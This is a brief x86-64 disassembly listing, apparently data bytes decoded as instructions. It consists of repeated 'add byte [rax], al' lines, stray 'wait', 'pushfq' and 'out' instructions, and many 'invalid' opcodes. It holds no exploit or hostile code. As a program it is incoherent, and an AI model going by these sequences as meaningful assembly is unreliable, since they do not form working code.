add byte [rax], al
invalid
mov al, 0x9b
wait
add byte [rax + 0x1400e9b], dh
add byte [rax], al
add al, al
wait
invalid
wait
invalid
add byte [rax], al
add al, ah
wait
invalid
add byte [rax], al
out dx, eax
add bh, ch
wait
invalid
add byte [rax], al
add byte [rcx], al
add dword [rsi + rcx + 0x140], ebx
add byte [rdx], dl
pushfq
invalid
pushfq
invalid
add byte [rax], al
add byte [rcx - 0x64], bl
invalid